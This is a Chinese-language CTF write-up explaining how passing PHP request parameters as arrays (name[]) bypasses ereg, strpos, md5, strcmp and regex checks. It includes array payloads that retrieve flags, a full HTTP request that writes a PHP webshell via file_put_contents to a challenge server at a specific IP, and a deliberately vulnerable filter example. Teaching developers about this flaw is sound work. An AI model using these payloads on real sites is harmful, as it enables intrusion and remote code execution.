看这段PHP代码:
$put=$_GET[‘put’];
请问,这里$put变量的类型是什么?你一定会在潜意识里把这个变量当做字符串,从而对此编写后面的代码。但其实PHP还支持这样玩:
(用var_dump输出变量$put)
很不可思议对吧?GET参数名加个“[]”符号居然就变成数组解析了!这就引发了很多安全问题。
下面居正给大家整理几个示例。
南邮CTF平台的一道题
题目所给代码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
需要参数 nctf 有值
@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE
不能成立
且strpos ($_GET['nctf'], '#biubiubiu') !== FALSE
成立就会给 flag
第一个不等式中 ereg 函数,当传入参数为数组 nctf[] 时,NULL != FALSE
,构造成功跳过第一个不等式
第二个不等式中 strpos 函数传入参数 数组之后 NULL != FLASE
会返回flag
最后构造的参数为 nctf[]=123
南邮CTF平台的另一道题
题目所给代码
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
php中的 md5 函数遇到参数是数组时,返回 NULL ,所以传入 a[] = 1 & b[] = 2 得到NULL === NULL,返回Flag
南邮CTF平台的第三道题
核心源码
<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
抓包改pass的值 等于 pass[] = 1
strcmp函数为NULL,if 值为真
PWNHUB的一道题+应用实例
解密出数据包后可以看到,Location的值给出了两个信息:
- 源码包的路径
- 目标地址
所以,下载源码进行分析。
这是一个比较简单的代码审计题目,简单流程就是,用户创建一个Ticket,然后后端会将Ticket的内容保存到以“cache/用户名/Ticket标题.php”命名的文件中。然后,用户可以查看某个Ticket,根据Ticket的名字,将“cache/用户名/Ticket标题.php”内容读取出来。
这个题目的考点就在于,写入文件之前,我对用户输出的内容进行了一次正则检查:
<?php function is_valid($title, $data) { $data = $title . $data; return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data); } function write_cache($title, $content) { $dir = changedir(CACHE_DIR . get_username() . '/'); if(!is_dir($dir)) { mkdir($dir); } ini_set('open_basedir', $dir); if (!is_valid($title, $content)) { exit("title or content error"); } $filename = "{$dir}{$title}.php"; file_put_contents($filename, $content); ini_set('open_basedir', __DIR__ . '/'); }
整个流程如下:
- title和content拼接成字符串
- 将1的结果进行正则检测拦截,正则比较严格,
\A[ _a-zA-Z0-9]+\z
,只允许数字、字母、下划线和空格 - 匹配成功,使用
file_put_contents(title, content)
写入文件中
也就是说,我们的webshell,至少需要<?
等字符,但实际上这里正则把特殊符号都拦截了。
这就考到PHP的一个小Trick了,我们看看file_put_contents
的文档即可发现:
其第二个参数允许传入一个数组,如果是数组的话,将被连接成字符串再进行写入。
回看我的题目,在正则匹配前,$title
和$content
进行了字符串连接。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array
,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z
的,所以不会被拦截。
所以最后,发送如下数据包即可成功getshell:
POST /i.php HTTP/1.1 Host: 52.80.37.67:8078 Content-Length: 49 Cache-Control: max-age=0 Origin: http://52.80.37.67:8078 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://52.80.37.67:8078/index.php Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: PHPSESSID=asdsa067hpqelof5cevlgcsip4 Connection: close title=s&content[]=<?php&content[]=%0aphpinfo();
(自豪的说一下,为了防搅屎,我已经把我前段时间写的PHP沙盒加进来了,所以getshell后只能执行少量函数。最后只要执行一下show_flag()
即可获得Flag)
file_put_contents
这个特性还是比较有实战意义的,比如像下面这种基于文件内容的WAF,就可以绕过:
<?php $text = $_GET['text']; if(preg_match('[<>?]', $text)) { die('error!'); } file_put_contents('config.php', $text);
OK,以上就是本期漏洞预警台给大家分享的内容。各位以后拍黄片写PHP的时候一定注意啦!!
参考资料:
https://snowwood.github.io/writeup/2016/06/05/%E5%8D%97%E9%82%AECTF%E7%9A%84Writeup
https://www.leavesongs.com/PENETRATION/pwnhub-first-shalon-ctf-web-writeup.html